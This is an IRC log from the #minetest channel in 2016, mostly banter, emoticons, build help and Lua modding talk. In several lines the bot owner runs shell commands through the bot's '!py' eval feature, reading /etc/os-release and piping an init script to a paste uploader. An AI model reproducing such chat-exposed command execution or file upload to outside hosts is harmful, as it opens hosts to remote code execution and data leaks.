Time |
Nick |
Message |
00:02 |
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00:02 |
MinetestBot |
kaeza: 03-19 07:46 UTC <Megaf> ¯\_(ツ)_/¯ |
00:06 |
kaeza |
greetings |
00:06 |
kaeza |
<3 MinetestBot |
00:06 |
MinetestBot |
<3 kaeza |
00:07 |
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00:08 |
kaeza |
for some reason MinetestBot is echoing the messages here and in #-fr |
00:08 |
kaeza |
sfan5, ^ |
00:13 |
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00:19 |
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00:20 |
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00:22 |
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00:25 |
rubenwardy |
Yay! http://pasteboard.co/2otxy8L2.png |
00:27 |
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00:28 |
Obani |
http://hooooooooo.com/ |
00:30 |
kaadmy |
>.> |
00:34 |
Obani |
http://iloveyoulikeafatladylovesapples.com/ |
00:34 |
Obani |
http://salmonofcapistrano.com/ |
00:34 |
Obani |
internet |
00:35 |
rom1504 |
domains are cheap |
00:35 |
kaeza |
http://nooooooooooooooo.com/ |
00:35 |
Obani |
http://www.pointerpointer.com/ |
00:36 |
Obani |
this one is huge |
00:36 |
kaadmy |
pointerpointer.com is kinda neat actually |
00:37 |
rom1504 |
wtf is it supposed to do |
00:38 |
Obani |
point the pointer |
00:38 |
rom1504 |
oh |
00:38 |
rom1504 |
why is it that slow |
00:39 |
kaadmy |
probably loading the images |
00:39 |
rom1504 |
could just have a list of pictures with finger degrees and give your the correct picture |
00:39 |
rom1504 |
sending a picture take like 100ms |
00:40 |
kaeza |
rom1504, I see you're not on my connection... |
00:56 |
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01:30 |
MinetestBot |
[git] ShadowNinja -> minetest/minetest: Clean up Strfnd 9388704 https://git.io/vaXMD (2016-03-19T21:27:57-04:00) |
01:30 |
MinetestBot |
[git] ShadowNinja -> minetest/minetest: Tweak travis script eb7db21 https://git.io/vaXMy (2016-03-19T21:27:57-04:00) |
01:35 |
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01:56 |
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02:05 |
wilkgr |
Anybody want a terrible joke? |
02:13 |
Dragonop |
wilkgr, me |
02:14 |
wilkgr |
Roses are red, violets are red, trees are red, grass is red - oh wait, my garden is on fire |
02:14 |
Void7 |
Roses are <INSERT COLOR HERE>, violets are <INSERT COLOR HERE>, <EXCLAIMATION> i'm a robot |
02:15 |
Dragonop |
ROFLOL |
02:16 |
wilkgr |
:_ |
02:16 |
wilkgr |
:) |
02:16 |
Dragonop |
Somehow it's funny when I read it in english |
02:16 |
Dragonop |
language magic |
02:16 |
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02:47 |
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02:50 |
rubenwardy |
My app is going through the review process, and will be here when done: https://play.google.com/store/apps/details?id=com.rubenwardy.minetestmodmanager |
02:51 |
rubenwardy |
Apparently it'll take an hour and a half |
03:18 |
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03:24 |
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03:30 |
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03:30 |
swift110-phone |
Hello all |
03:30 |
kaeza |
o/ |
03:31 |
swift110-phone |
How are you kaeza? |
03:31 |
kaeza |
good, you? |
03:42 |
swift110-phone |
Im great |
03:43 |
swift110-phone |
I actually have minetest on all of my working laptops |
03:43 |
swift110-phone |
Its even on my raspberry pi 3 |
03:45 |
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07:03 |
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07:25 |
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10:11 |
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10:13 |
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10:48 |
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11:16 |
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11:16 |
Fritz2 |
hello |
11:17 |
Fritz2 |
how can i compile the "raw" version on minetest? |
11:18 |
Calinou |
Fritz2, raw version? |
11:19 |
Fritz2 |
the version that i download from github |
11:21 |
Calinou |
Fritz2, the README explains it |
11:21 |
Calinou |
it depends on your operating system |
11:23 |
Fritz2 |
ok thanks |
11:24 |
Fritz2 |
bye |
11:24 |
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11:28 |
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11:29 |
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11:32 |
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11:45 |
afflatus |
is it possible to use the ncurses --terminal if running minetest as a daemon? |
11:47 |
afflatus |
is it documented anywhere |
11:57 |
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12:16 |
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13:21 |
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13:31 |
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13:31 |
MinetestBot |
hoodedice: 09-25 23:54 UTC <rubenwardy> test |
13:32 |
hoodedice |
hi ruben |
13:32 |
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13:32 |
MinetestBot |
Jordach: 03-19 07:46 UTC <Megaf> 😒 |
13:33 |
Jordach |
i don't even remember what i sent to Megaf, needs context |
13:34 |
Megaf |
hm |
13:35 |
Megaf |
Jordach, you sent me this via bot |
13:35 |
Megaf |
<MinetestBot> Megaf: 03-07 17:25 UTC <Jordach> ( ͡° ͜ʖ ͡°) |
13:35 |
Jordach |
oh |
13:35 |
Jordach |
right |
13:36 |
Jordach |
ooooo |
13:36 |
Jordach |
Blender 2.77 |
13:36 |
Megaf |
now, I don't even remember what I said or what we were talking about |
13:37 |
Jordach |
http://irc.minetest.ru/minetest/2016-03-07#i_4551775 |
13:37 |
Megaf |
I have Blender 2.76 available here |
13:38 |
Megaf |
Jordach, I see |
13:38 |
Jordach |
the steam client has blender from the foundation as an installable for Win, OS X and linux |
13:38 |
Jordach |
with complete autoupdates |
13:39 |
Megaf |
cool |
13:39 |
Megaf |
I wish I could use AMDGPU driver here |
13:39 |
Megaf |
it does support my GPU, but only if it's installer in other CPU |
13:39 |
Jordach |
wish i could have a GTX 970 |
13:39 |
Megaf |
installed* |
13:39 |
Jordach |
and a Vive |
13:40 |
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13:41 |
Jordach |
i'd go AMD if blender properly did OpenCL |
13:41 |
Jordach |
instead of half-assing it |
13:42 |
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13:43 |
Megaf |
that's cool http://store.steampowered.com/app/365670/ |
13:43 |
Megaf |
!title |
13:43 |
MinetestBot |
Megaf: Blender on Steam |
13:44 |
Jordach |
plus it tracks my hours of blender |
13:54 |
Fixer |
MinetestBot, ( ͡° ͜ʖ ͡°) |
13:55 |
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14:01 |
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14:01 |
MinetestBot |
PilzAdam: 12-12 11:59 UTC <Jordach> my server auto redirects to https:// automatically now http://i.imgur.com/eecQikV.png |
14:04 |
Krock |
\o/ it works |
14:19 |
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14:26 |
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14:38 |
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15:03 |
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15:34 |
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15:40 |
heavygale |
hey there,... looks like the shared doors of landrush mod are not compatible with the latest doors-mod from minetest_game - is there a easy way to hix that? |
15:41 |
heavygale |
https://github.com/Bremaweb/landrush/blob/master/shared_door.lua#L38 |
15:41 |
heavygale |
attempt to index field 'landrush:shared_door_b_1' (a nil value) |
15:48 |
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16:00 |
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16:12 |
Fixer |
heavygale, maybe sofar can help you, he did new doors *cough* |
16:15 |
heavygale |
i could comment these lines out,... with the effect that shared doors become normal wodden doors |
16:15 |
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16:16 |
heavygale |
but that could only be a workaround |
16:16 |
heavygale |
as some people on my server use the shared_doors :P |
16:16 |
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16:17 |
sfan5 |
!server players:most |
16:17 |
MinetestBot |
sfan5: just test | 87.110.8.195 | Clients: 25/78, 21/33 | Version: 0.4.13-dev / minetest | Ping: 46ms |
16:17 |
sfan5 |
!tell kaeza most likely a race condition ¯\_(ツ)_/¯ |
16:17 |
MinetestBot |
sfan5: yeah, sure, whatever |
16:17 |
MinetestBot |
sfan5: yeah, sure, whatever |
16:20 |
Megaf |
so, I've been doing some tests here with Minetest |
16:20 |
Megaf |
and the bottleneck is the CPU, not the GPU |
16:21 |
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16:21 |
Megaf |
it will keep at least one core at 70% and other core at least at 30% |
16:21 |
Megaf |
and the GPU use will be like, 28% |
16:21 |
Megaf |
shaders and shaders option dont affect GPU use, it does affects the CPU use quite a lot |
16:22 |
Megaf |
that is when playing on a server, so there's not much to be processed locally |
16:22 |
Megaf |
quite interesting, isn't it? |
16:23 |
Megaf |
sfan5, ^ |
16:24 |
sfan5 |
¯\_(ツ)_/¯ |
16:24 |
sfan5 |
it's not new that Minetest uses quite much CPU |
16:26 |
Fixer |
sfan5, where did you get the ¯\_(ツ)_/¯ ? |
16:26 |
sfan5 |
on the internet |
16:27 |
Fixer |
sfan5, you paste it or type it manually? |
16:28 |
sfan5 |
automatic replace feature from hexchat |
16:28 |
sfan5 |
i just type :sh​r: |
16:29 |
sfan5 |
i also have ( ͡° ͜ʖ ͡°) ಠ_ಠ(╯°□°)╯︵ â”»â”â”» â”»â”â”» ︵╰(°□°)╯︵ â”»â”â”» ✔ ✘ (•_•) ( •_•)>âŒâ– -â– (âŒâ– _â– ) (ノಠ益ಠ)ノ彡┻â”â”» ಠ▃ಠ(ಠʖಠ) ರ_ರ (â—” â—¡ â—”) and TRIGGERED |
16:30 |
Megaf |
(╯°□°)╯︵ ÊžooqÇÉ”ÉℲ |
16:30 |
Megaf |
sfan5, ^ |
16:31 |
Megaf |
ԅ(≖‿≖ԅ) |
16:31 |
sfan5 |
where did you get that upside-down o |
16:31 |
Megaf |
lol |
16:31 |
Megaf |
may favourite is this sequence. |
16:31 |
Megaf |
(╯°□°)╯︵ â”»â”â”» |
16:31 |
Megaf |
ノ┬─┬ノ ︵ ( \o°o)\ |
16:31 |
Megaf |
┬──┬◡ノ(° -°ノ) |
16:33 |
Megaf |
\(._.\) ƪ(‘-’ ƪ)(ʃ ‘-’)ʃ (/._.)/ |
16:34 |
Krock |
seems to be related to minetest. |
16:35 |
Megaf |
(null) |
16:35 |
Megaf |
FAIL |
16:35 |
Megaf |
😊 |
16:35 |
Megaf |
😠|
16:35 |
Megaf |
there |
16:37 |
sfan5 |
needs more polandball http://i.imgur.com/g5ussEo.png |
16:39 |
rubenwardy |
:shr: |
16:42 |
Fixer |
o_0 |
16:43 |
Fixer |
TRIGGERED |
16:43 |
Fixer |
hmm |
16:43 |
Megaf |
TRIGGERED |
16:44 |
Fixer |
bold |
16:48 |
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16:51 |
hoodedice |
dude |
16:51 |
hoodedice |
the word triggered triggers me |
16:52 |
sfan5 |
TRIGGERED |
16:53 |
hoodedice |
TRIGGER RED |
16:53 |
hoodedice |
!g triggered |
16:53 |
MinetestBot |
hoodedice: http://www.urbandictionary.com/define.php?term=Triggered |
16:53 |
hoodedice |
" The mating call of a landwhale as it submerges from the patriarchy. " |
16:53 |
sfan5 |
TRIGGERED |
16:53 |
sfan5 |
better? |
16:53 |
hoodedice |
no |
16:53 |
hoodedice |
nothing is better as long as patriarchy. |
16:54 |
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16:54 |
attackhelicopter |
https://www.reddit.com/r/copypasta/comments/2c4mfv/i_sexually_identify_as_an_attack_helicopter/ |
16:55 |
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17:02 |
Megaf |
T R I G G E 4 RED |
17:02 |
Megaf |
T R I G G E4 RED |
17:02 |
Megaf |
T R I G G E2 BLUE |
17:02 |
sfan5 |
unicode has wide letters |
17:03 |
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17:03 |
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SylvieLorxu joined #minetest |
17:03 |
Megaf |
1BLACK2BLUE3GREEN4RED5IDONTKNOW6GREY?7AMBER8YELLOW9LIME |
17:04 |
Megaf |
05BROWN |
17:04 |
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17:05 |
attackhelicopter |
!rainbow what is this magic |
17:05 |
MinetestBot |
4wha7t i8s t3his ma6gic |
17:05 |
Jordach |
I HEARD THERE WAS A PARTY |
17:05 |
Jordach |
(。◕‿‿◕。) |
17:06 |
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17:07 |
CWz |
02I wonder what this party is for |
17:08 |
Megaf |
!rainbow party? |
17:08 |
MinetestBot |
4pa7rt8y? |
17:10 |
Jordach |
!rainbow (。◕‿‿◕。) |
17:10 |
MinetestBot |
4(。7◕‿8‿◕3。) |
17:10 |
Jordach |
!rainbow ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) |
17:10 |
MinetestBot |
4( ͡°7 ͜ʖ 8͡°) 3( ͡° ͜ʖ 6͡°) ( ͡°4 ͜ʖ 7͡°) 8( ͡°3 ͜ʖ ͡°) |
17:10 |
Megaf |
!rainbow (~‾▿‾)~ ヽ(゚ー゚)ノ (~’.')~ ヾ(-_- )ゞ (〜^∇^)〜 ヽ(゚ー゚)ノ (~‾⌣‾)~ ヽ(°◇° )ノ \(._.\) ƪ(‘-’ ƪ)(ʃ ‘-’)ʃ (/._.)/ |
17:10 |
MinetestBot |
4(~‾▿7‾)~ 8ヽ(゚ー3゚)ノ (~6’.')~ ヾ(4-_- 7)ゞ 8 (3〜^∇^)〜 ヽ6(゚ー゚)ノ 4 (~‾7⌣‾)~8 ヽ(°3◇° )ノ 6\(._.\) 4ƪ(‘-7’ ƪ)8(ʃ ‘3-’)ʃ (/.6_.)/ |
17:10 |
* CWz |
Whistles while walking away casually. |
17:10 |
Fixer |
!rainbow omg |
17:10 |
MinetestBot |
4o7m8g |
17:11 |
Megaf |
!rainbow └(^o^ )X( ^o^)┘ |
17:11 |
MinetestBot |
4└(^7o^ 8)X(3 ^o^)┘ |
17:11 |
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17:11 |
Megaf |
http://upli.st/l/list-of-all-ascii-emoticons |
17:11 |
Megaf |
!title |
17:11 |
MinetestBot |
Megaf: List of All ASCII Emoticons - uplist |
17:13 |
Megaf |
(∩`-´)⊃â”☆゚.*・。゚ (⊙_☉) |
17:13 |
Megaf |
!title |
17:13 |
MinetestBot |
Megaf: List of All ASCII Emoticons - uplist |
17:17 |
Fixer |
horri(y)fi(y)ing |
17:20 |
attackhelicopter |
... |
17:24 |
sfan5 |
!rainbow horri(y)fi(y)ing |
17:24 |
MinetestBot |
4hor7ri(8y)f3i(y)in6g |
17:24 |
sfan5 |
^ Fixer |
17:33 |
rubenwardy |
Everyone, check that your mods are all green here: http://app-mtmm.rubenwardy.com/ |
17:33 |
rubenwardy |
That the database powering the android mod manager |
17:36 |
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17:36 |
sfan5 |
why don't you just use the official mmdb? |
17:36 |
sfan5 |
/s |
17:36 |
rubenwardy |
there is no official mmdb |
17:36 |
rubenwardy |
!title https://forum.minetest.net/mmdb/ |
17:36 |
MinetestBot |
HTTP error 404 |
17:37 |
sfan5 |
did you miss the /s? |
17:39 |
rubenwardy |
what does /s mean? |
17:40 |
sfan5 |
sarcasm |
17:40 |
rubenwardy |
oh, okay |
17:40 |
sfan5 |
http://www.urbandictionary.com/define.php?term=%2Fs |
17:40 |
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17:53 |
hoodedice |
sorry ruben, sfan5 is all memes now, blame jordach |
17:53 |
sfan5 |
yes |
17:53 |
Jordach |
meeeeems |
17:53 |
Jordach |
they are the best |
18:08 |
Megaf_ |
!rainbow This Is a Test |
18:08 |
MinetestBot |
4Thi7s I8s a3 Test |
18:09 |
Megaf_ |
do /ctcp Megaf_ version |
18:09 |
Megaf_ |
:) |
18:09 |
hoodedice |
!py c 1 + 1 |
18:11 |
Megaf_ |
!v |
18:11 |
Megaf_ |
!voice |
18:11 |
hoodedice |
!slap Megaf_ |
18:14 |
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18:15 |
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18:15 |
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18:15 |
FatalNIX |
Hey guys! |
18:16 |
FatalNIX |
I'm new to the whole minetest world and I am just wondering about some things |
18:16 |
FatalNIX |
is minetest a tick based game? |
18:16 |
* Sokomine |
is still trying to figure out a good way how to handle doors when placing a schematic/we file that had the old ones |
18:16 |
Sokomine |
what do you consider tick based? there are some things that happen while time passes, but it's generally not a problem for the character... |
18:16 |
sfan5 |
hoodedice: try !c instead |
18:17 |
hoodedice |
!c 'works' |
18:17 |
MinetestBot |
'works' |
18:18 |
FatalNIX |
well a tick based game is sort of like a tick based OS' program scheduler (but most of them have left that dark era). I was just curious if minetest was more event based or something else |
18:18 |
rubenwardy |
there are delta time steps |
18:18 |
rubenwardy |
it's more complicated than that, though |
18:19 |
rubenwardy |
as you have server and client |
18:19 |
FatalNIX |
somebody told me that modding is much more fun and one of the limiting hatreds I have about Minecraft is that it is a tick based game, it really makes it difficult to do some things. I was hoping I'd have a lot more fun here |
18:19 |
FatalNIX |
(it's only -one- thing that drove me nuts) |
18:19 |
rubenwardy |
I don't really know what you mean |
18:20 |
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18:20 |
rubenwardy |
Games are either fixed time steps or variable time steps. We use the latter, afaik. Actions such as movement are timesed by a delta time |
18:20 |
rubenwardy |
pos.x += vel.x * dtime |
18:20 |
Sokomine_ |
accidently closed the window |
18:20 |
|
est31 joined #minetest |
18:20 |
rubenwardy |
Mod wise, you register callbacks such as register_on_punchnode |
18:20 |
hoodedice |
MT is easier to get into wrt modding |
18:21 |
Sokomine_ |
hm. or still there? |
18:21 |
Fixer |
wb Sokomine_ |
18:21 |
hoodedice |
Sokomine, you use webchat? |
18:21 |
Sokomine_ |
no |
18:21 |
rubenwardy |
but the server still performs discrete steps to update the world. register_global_step |
18:22 |
rubenwardy |
Sokomine_: http://app-mtmm.rubenwardy.com/status/?a=sokomine |
18:22 |
Sokomine_ |
rubenwardy: yes, thanks. useful for checking if all mods are where they belong to :-) |
18:22 |
Sokomine_ |
my main account hasn't left yet. so it's probably still around somewhere here? |
18:22 |
rubenwardy |
oh |
18:22 |
FatalNIX |
hoodedice: what is wrt? |
18:23 |
hoodedice |
sorry, math notation for "with relation to" |
18:23 |
Sokomine |
hah! the window was just hidden somehow |
18:24 |
Sokomine |
sorry for bothering you all with the _ account. was just an accident with this window here |
18:26 |
FatalNIX |
wow minetest is pretty neat |
18:29 |
hoodedice |
yeah, you should try playing an older version, like 0.4.3 and compare it to current git build |
18:30 |
|
LNJ joined #minetest |
18:31 |
LNJ |
Is there a LUA function for getting the minetest version? |
18:32 |
est31 |
LNJ, this is not intended |
18:33 |
est31 |
you should find other ways to test whether a feature is available |
18:33 |
est31 |
e.g. if you test for an API function you can do if minetest.api_function_name |
18:33 |
LNJ |
okay... |
18:34 |
FatalNIX |
yay I found pumba |
18:34 |
FatalNIX |
Now how long has this project been around? |
18:34 |
LNJ |
I want to use the ndt connected drawtype |
18:35 |
sfan5 |
FatalNIX: 2011 |
18:38 |
LNJ |
http://pastebin.com/c2wJjWYq like this here |
18:39 |
heavygale |
ah, just looked through the github-network and found a fork which already fixed the doors problem :) https://github.com/FozLand/landrush/commit/096b39518241e594d14e4c73063b766e47600968 |
18:40 |
hoodedice |
est31, won't pointing to the lua_api.txt be better? |
18:41 |
hoodedice |
https://github.com/minetest/minetest/blob/master/doc/lua_api.txt |
18:41 |
LNJ |
When comes a new minetest version out? :D |
18:41 |
Fixer |
soon |
18:41 |
FatalNIX |
so from my understanding.. lua mods aren't sandboxed are they? |
18:42 |
sfan5 |
nope, not sandboxed |
18:42 |
est31 |
FatalNIX, not by default |
18:42 |
FatalNIX |
aha |
18:42 |
est31 |
you can turn it on if you want |
18:42 |
est31 |
its a setting |
18:42 |
FatalNIX |
right |
18:42 |
FatalNIX |
but that's actually good, that means you can do some really really insane stuff |
18:42 |
FatalNIX |
which, could be bad, but can be super awesome |
18:43 |
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18:44 |
FatalNIX |
I think I'll have a lot of fun hacking up some lua on minetest then :D |
18:45 |
sfan5 |
you probably will |
18:45 |
FatalNIX |
I downloaded this book I found on the wiki and it's pretty neat |
18:46 |
est31 |
the rubenwardy book? |
18:46 |
est31 |
its cool yeah |
18:46 |
FatalNIX |
I think so |
18:46 |
FatalNIX |
how is modding with servers? |
18:46 |
FatalNIX |
a nightmare? |
18:46 |
Calinou |
easy? |
18:46 |
FatalNIX |
i would think so |
18:46 |
Calinou |
client downloads the media |
18:46 |
FatalNIX |
Oh wow |
18:46 |
Calinou |
mods run server-side, client doesn't run any code |
18:46 |
FatalNIX |
it has an auto downloader thing cool |
18:47 |
Calinou |
(no risk of security issues on clients) |
18:47 |
Calinou |
yes but it's slow |
18:47 |
FatalNIX |
so that makes it super easy to make mods that are more like server plugins |
18:47 |
Calinou |
you might want to use remote_media + a Web server to speed it up |
18:47 |
Calinou |
but even then it'll remain slower than implementations you can find in eg. ioquake3 |
18:47 |
FatalNIX |
hmm |
18:47 |
sfan5 |
are you seriously compating ioquake3 and minetest? |
18:47 |
FatalNIX |
that's actually kind of nice that it is server side though because it's kind of an anti cheat measure |
18:47 |
Calinou |
sfan5, yes, the former can download at the full line speed :) |
18:48 |
Calinou |
the latter doesn't even tell you about download speed, but nethogs tells me it is slower |
18:48 |
FatalNIX |
so if no code runs on the client side, then how do client specific things work.. |
18:48 |
Calinou |
FatalNIX, not really, it's really easy to cheat in Minetest |
18:48 |
FatalNIX |
like playing a sound only a client can hear |
18:48 |
Calinou |
including flying/noclip/no fall damage/no drown damage |
18:48 |
sfan5 |
it downloads the media |
18:48 |
FatalNIX |
I see |
18:48 |
Calinou |
client-specific sounds are possible, it's defined in the API |
18:48 |
sfan5 |
and plays it if the server says so |
18:49 |
FatalNIX |
I see |
18:50 |
FatalNIX |
wow, minetest runs so fast |
18:50 |
|
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18:50 |
Calinou |
yes, with VBO patch that was recently merged, it does |
18:51 |
|
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18:53 |
|
Wasteland joined #minetest |
18:53 |
CWz |
um seems someone is attaching server to this channel instead of on inchra |
18:53 |
CWz |
or on it's own freenode channel |
18:54 |
LNJ |
I like Wasteland! |
18:55 |
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18:58 |
Megaf |
Calinou, what changed with the patch? |
18:58 |
hoodedice |
hello Calinou |
18:58 |
Calinou |
Minetest rendering uses VBO (Vertex Buffer Objects) |
18:58 |
Calinou |
hi hoodedice |
18:59 |
Wasteland |
*** IHateMC joined the game |
19:00 |
sfan5 |
k |
19:00 |
sfan5 |
!quiet *@static.52.118.46.78.clients.your-server.de |
19:00 |
sfan5 |
!mute *@static.52.118.46.78.clients.your-server.de |
19:01 |
Megaf |
how do I tell cmake where sqlite is? |
19:01 |
hoodedice |
sfan lol |
19:01 |
LNJ |
sfan5 maybe the other server too? |
19:01 |
sfan5 |
that covers both |
19:02 |
LNJ |
ah same ip |
19:02 |
Megaf |
-DSQLITE3_LIBRARY=/boot/system/develop/lib/x86/libsqlite3.ao |
19:02 |
Megaf |
like that? |
19:03 |
hoodedice |
SQLITE3_INCLUDE_DIR - Directory that contains sqlite3.h |
19:03 |
sfan5 |
Megaf: yes that looks correct https://github.com/minetest/minetest/blob/master/cmake/Modules/FindSQLite3.cmake |
19:04 |
* hoodedice |
eats some humble pie |
19:04 |
* Calinou |
eats some pinkie pie |
19:04 |
hoodedice |
sfan5, quick |
19:04 |
hoodedice |
we have a brony infestation |
19:04 |
hoodedice |
kill it with fire |
19:05 |
* sfan5 |
sets Calinou on fire |
19:05 |
* Megaf |
splashes a bucket of water in Calinou |
19:05 |
Megaf |
if that makes sense |
19:06 |
* nm0i |
mews |
19:07 |
* sfan5 |
meows and rolls around |
19:08 |
FatalNIX |
hmm. is this lua 5.1,2, or 3? |
19:08 |
* hoodedice |
passes a link to visual studio code |
19:08 |
hoodedice |
http://code.visualstudio.com |
19:08 |
sfan5 |
5.1 iirc |
19:08 |
FatalNIX |
:( |
19:09 |
FatalNIX |
not a big deal I guess |
19:09 |
Calinou |
we rely on LuaJIT (optional) |
19:09 |
Calinou |
so we can't use 5.2/5.3 features |
19:09 |
FatalNIX |
I've just been getting fond of 5.2 lately |
19:09 |
FatalNIX |
oh.. ouch |
19:10 |
Calinou |
hoodedice, http://code.visualstudio.com/License/ |
19:10 |
FatalNIX |
wait what? how is that optional? |
19:10 |
Calinou |
I thought they switched to MIT license? |
19:10 |
FatalNIX |
if you rely on it |
19:10 |
Calinou |
FatalNIX, LuaJIT is optional. |
19:10 |
Megaf |
anyone compiling Minetest with clang by the way? |
19:10 |
hoodedice |
IIRC, it is restrictive |
19:10 |
nm0i |
Megaf: i did once. |
19:10 |
Calinou |
but if you were to use a 5.2/5.3 feature in Minetest, and a LuaJIT user stumbles upon it… they'd choke on it |
19:10 |
Calinou |
this is why we use 5.1 |
19:10 |
Calinou |
LuaJIT is not going to update above 5.1 |
19:10 |
FatalNIX |
oh I see |
19:11 |
* LNJ |
has only Lua 5.2.4 |
19:11 |
hoodedice |
Calinou OMG I just say this line: " |
19:11 |
hoodedice |
TIME-SENSITIVE SOFTWARE. The software will stop running on 31/12/2016 (day/month/year). You will not receive any other notice. You may not be able to access data used with the software when it stops running." |
19:11 |
Megaf |
cmake ../ -DBUILD_CLIENT=0 -DENABLE_SOUND=0 -DUSE_FREETYPE=0 -DENABLE_FREETYPE=0 -DENALBE_LEVELDB=0 -DENABLE_CURL=0 -DENABLE_REDIS=0 -DENABLE_SPATIAL=0 -DENABLE_CURSES=0 -DBUILD_SERVER=1 -DSQLITE3_LIBRARY=/boot/system/develop/lib/x86/libsqlite3.a -DIRRLICHT_SOURCE_DIR=/boot/home/Downloads/irrlicht-1.8.3/ |
19:11 |
Megaf |
This should work |
19:11 |
FatalNIX |
apparently luajit works with 5.2... |
19:11 |
hoodedice |
this is hilarious. Way to go MS, way to self-destruct your own notepad clone |
19:11 |
FatalNIX |
according to http://luajit.org/extensions.html |
19:12 |
FatalNIX |
to some extent |
19:12 |
FatalNIX |
okay, some some of 5.2s features should work then |
19:12 |
FatalNIX |
I would think |
19:13 |
sfan5 |
Megaf: why is your home folder on your /boot? |
19:13 |
Megaf |
sfan5 ctcp version me and you will understand |
19:13 |
FatalNIX |
oh it has to be compiled into luajit though |
19:14 |
hoodedice |
okay, Calinou, I think the open source blob you download and compile from github is MIT, but the pre-compiled stuff from the official website is MS-licensed |
19:15 |
Calinou |
okay, that'll make me not even consider it, I'll keep using Atom :p |
19:15 |
sfan5 |
wat |
19:15 |
hoodedice |
here https://github.com/Microsoft/vscode/issues/60#issuecomment-161792005 |
19:15 |
FatalNIX |
Though since all lua mods run on the server side only, then does that mean that I can safely use C bindings to Lua on my server? |
19:15 |
hoodedice |
atom was nice till I found this, which is an improvement IMO in loading times and large file handling |
19:16 |
sfan5 |
yes |
19:16 |
sfan5 |
you can even run python mods on your server if you can get that to work somehow |
19:16 |
sfan5 |
won't matter for the client |
19:16 |
Calinou |
run QuakeC mods! |
19:16 |
FatalNIX |
LOL |
19:16 |
FatalNIX |
I'm actually a Perl programmer |
19:16 |
sfan5 |
Perl it is then |
19:16 |
FatalNIX |
I hate python technically.. |
19:17 |
* LNJ |
likes python!! |
19:17 |
FatalNIX |
but it seems like for the most part the lua api is good enough that you'd rarely need anything else |
19:18 |
hoodedice |
> hate python |
19:18 |
* hoodedice |
puts on the judging glasses |
19:19 |
sfan5 |
hoodedice have you ever installed gentoo |
19:19 |
hoodedice |
no |
19:19 |
sfan5 |
me neither |
19:19 |
hoodedice |
ok |
19:19 |
LNJ |
sfan5 have you ever installed archlinux? |
19:20 |
sfan5 |
yes, three times |
19:20 |
* FatalNIX |
avoids arch at all costs now |
19:20 |
sfan5 |
actually more |
19:20 |
FatalNIX |
it used to be great, and then systemd broke it |
19:20 |
LNJ |
okay, I don't |
19:20 |
FatalNIX |
:P |
19:20 |
sfan5 |
systemd works fine for me |
19:20 |
|
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19:20 |
sfan5 |
no more shitty init scripts |
19:20 |
LNJ |
I'm using debian |
19:20 |
hoodedice |
I'm using debian |
19:21 |
LNJ |
so I have systemd too |
19:21 |
est31 |
systemd is good for freedom |
19:21 |
hoodedice |
(with xubuntu on top) |
19:21 |
* FatalNIX |
is a FreeBSD user, but this laptop runs Slackware |
19:21 |
sfan5 |
!py __import__("os").popen("cat /etc/os-release").read() |
19:21 |
MinetestBot |
'NAME="Ubuntu"\nVERSION="14.04.4 LTS, Trusty Tahr"\nID=ubuntu\nID_LIKE=debian\nPRETTY_NAME="Ubuntu 14.04.4 LTS"\nVERSION_ID="14.04"\nHOME_URL="http://www.ubuntu.com/"\nSUPPORT_URL="http://help.ubuntu.com/"\nBUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"\n' |
19:21 |
hoodedice |
(so it is actually xubuntu) |
19:21 |
est31 |
it disallows many BSD licensed libcs |
19:21 |
est31 |
only allows truly freely licensed glibc |
19:21 |
FatalNIX |
I prefer to just have my collection of scripts in /etc/rc.d |
19:21 |
FatalNIX |
makes it easy |
19:22 |
est31 |
systemd still allows having scripts AFAIK |
19:22 |
FatalNIX |
yes |
19:22 |
FatalNIX |
but I'd rather not have it in my way |
19:22 |
est31 |
you just dont _have_ to use them |
19:22 |
FatalNIX |
XD |
19:22 |
sfan5 |
in your way? |
19:22 |
sfan5 |
you prefer writing a huge script instead of small unit file? |
19:22 |
FatalNIX |
yep. |
19:23 |
sfan5 |
!py __import__("os").popen("cat /etc/init.d/serverlist | ~/sprunge").read() |
19:23 |
MinetestBot |
'http://sprunge.us/hAUb\n' |
19:23 |
sfan5 |
^ i don't like writing long scripts like those |
19:23 |
sfan5 |
"long" |
19:23 |
sfan5 |
but still way too much stuff that's not actually about the program i want to start |
19:23 |
hoodedice |
sorry not sorry https://www.youtube.com/watch?v=93Cqq0qNm2M |
19:24 |
FatalNIX |
sfan5: most of the time they don't have to be any more than 10 to 20 lines |
19:24 |
FatalNIX |
it depends on the software |
19:25 |
FatalNIX |
some of my init scripts are < 10 lines |
19:25 |
FatalNIX |
some of them are 100 |
19:25 |
FatalNIX |
most of them aren't any longer than 25 |
19:25 |
sfan5 |
obviously it depends |
19:25 |
sfan5 |
i still find systemd unit files way easier |
19:25 |
FatalNIX |
heh |
19:26 |
LNJ |
Has anyone telegram here? |
19:26 |
heavygale |
https://max.bk.tl/default_fence.png anybody an idea what's wrong with my default fences? |
19:26 |
FatalNIX |
I'm also kind of mad about the whole "mount efi firmware as rw" crap. that should be shadowed and protected with a rw enable bit or something |
19:27 |
LNJ |
heavygale thats only a screenshot please post the code (not in irc) |
19:27 |
sfan5 |
that's not systemd fault tho |
19:27 |
FatalNIX |
no it's noot |
19:27 |
FatalNIX |
but |
19:28 |
heavygale |
LNJ: I updatest to the latest minetest_game a few hours ago |
19:28 |
LNJ |
ah ok |
19:28 |
LNJ |
have you the latest dev of minetest? |
19:28 |
LNJ |
they have a new drawtype |
19:28 |
heavygale |
i'll update my client |
19:29 |
LNJ |
(NDT_CONNECTED) |
19:29 |
heavygale |
indeed |
19:29 |
heavygale |
latest client fixed it |
19:29 |
heavygale |
nevermind :D |
19:31 |
FatalNIX |
whew |
19:31 |
FatalNIX |
battery died |
19:33 |
|
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19:35 |
FatalNIX |
wut |
19:35 |
FatalNIX |
there anything tricky I gotta do to get a server running with minetest --server ? the wiki seems outdated |
19:37 |
swift110 |
hey all |
19:38 |
FatalNIX |
apparently I have to download a subgame |
19:39 |
LNJ |
you can use: minetest --server --world /path/to/world --config /path/to/minetest.conf --logfile /path/to/debug.log |
19:41 |
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19:47 |
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19:47 |
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19:51 |
LNJ |
What is about the 0.5 doesn't it should be already released |
19:52 |
hoodedice |
0.5 will be a huge rewrite, breaking a lot of things |
19:52 |
Calinou |
we should just release a 1.0 and shut up :| |
19:52 |
hoodedice |
next version will be a continuation of 0.4. |
19:52 |
LNJ |
ah ok |
19:52 |
FatalNIX |
LNJ: you say that but it's more complex than that |
